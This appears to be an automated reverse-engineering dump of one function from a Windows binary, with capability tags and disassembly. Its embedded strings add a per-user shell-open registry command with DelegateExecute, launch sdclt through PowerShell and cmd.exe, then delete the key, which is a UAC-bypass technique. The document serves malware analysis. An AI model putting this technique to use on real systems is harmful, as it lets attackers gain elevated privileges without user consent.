Function at 0x140080ed0
Capabilities:
Create process on windows
Persist via default file association registry key
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x1400f3c00]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor edi, edi
mov ebx, edi
mov dword [rbp - 0x39], ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f], xmm1
movdqa xmm0, xmmword [0x1400dcbe0]
movdqu xmmword [rbp + 0x1f], xmm0
mov word [rbp + 0xf], di
mov r8, rcx
lea rdx, str._c_reg_add_HKCUSoftwareClassesFolder_shellopencommand__ve__d__
lea rcx, [rbp - 0x11]
call fcn.140083760
nop
lea r8d, [rdi + 8]
lea rdx, str.___f_
mov rcx, rax
call fcn.14003fcf0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x21], xmm0
movups xmm6, xmmword [rax]
movups xmmword [rbp - 0x31], xmm6
movups xmm7, xmmword [rax + 0x10]
movdqu xmmword [rbp - 0x21], xmm7
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
or ebx, 2
mov dword [rbp - 0x39], ebx
mov rdx, qword [rbp + 0x27]
cmp rdx, 8
jb 0x140080fb8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140080fb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140081112
call fcn.1400a9c00
movdqa xmm0, xmmword [0x1400dcbe0]
movdqu xmmword [rbp + 0x1f], xmm0
mov word [rbp + 0xf], di
movups xmmword [rbp + 0xf], xmm6
movups xmmword [rbp + 0x1f], xmm7
movdqu xmmword [rbp - 0x21], xmm0
mov word [rbp - 0x31], di
and ebx, 0xfffffffd
mov dword [rbp - 0x39], ebx
movdqu xmmword [rbp - 0x21], xmm0
mov word [rbp - 0x31], di
mov rdx, qword [rbp + 7]
cmp rdx, 8
jb 0x140081029
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140081024
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140081118
call fcn.1400a9c00
movdqa xmm0, xmmword [0x1400dcbe0]
movdqu xmmword [rbp - 1], xmm0
mov word [rbp - 0x11], di
mov r8d, 0x61
lea rdx, str.reg_add_HKCUSoftwareClassesFolder_shellopencommand__v_DelegateExecute__t_REG_SZ__d_____f_
lea rcx, [rbp + 0xf]
call fcn.14003fcf0
mov r8d, WSAStartup
lea rdx, str.Powershell_Start_Process__sdclt___timeout_2__reg_delete_HKCUSoftwareClassesFolder_shellopencommand__f
lea rcx, [rbp + 0xf]
call fcn.14003fcf0
lea r9, [rbp + 0xf]
cmp qword [rbp + 0x27], 8
cmovae r9, qword [rbp + 0xf]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 8
jb 0x1400810d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400810cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008110c
call fcn.1400a9c00
movdqa xmm0, xmmword [0x1400dcbe0]
movdqu xmmword [rbp + 0x1f], xmm0
mov word [rbp + 0xf], di
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400a9be0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1400892f0
nop
call fcn.1400892f0
nop
call fcn.1400892f0
int3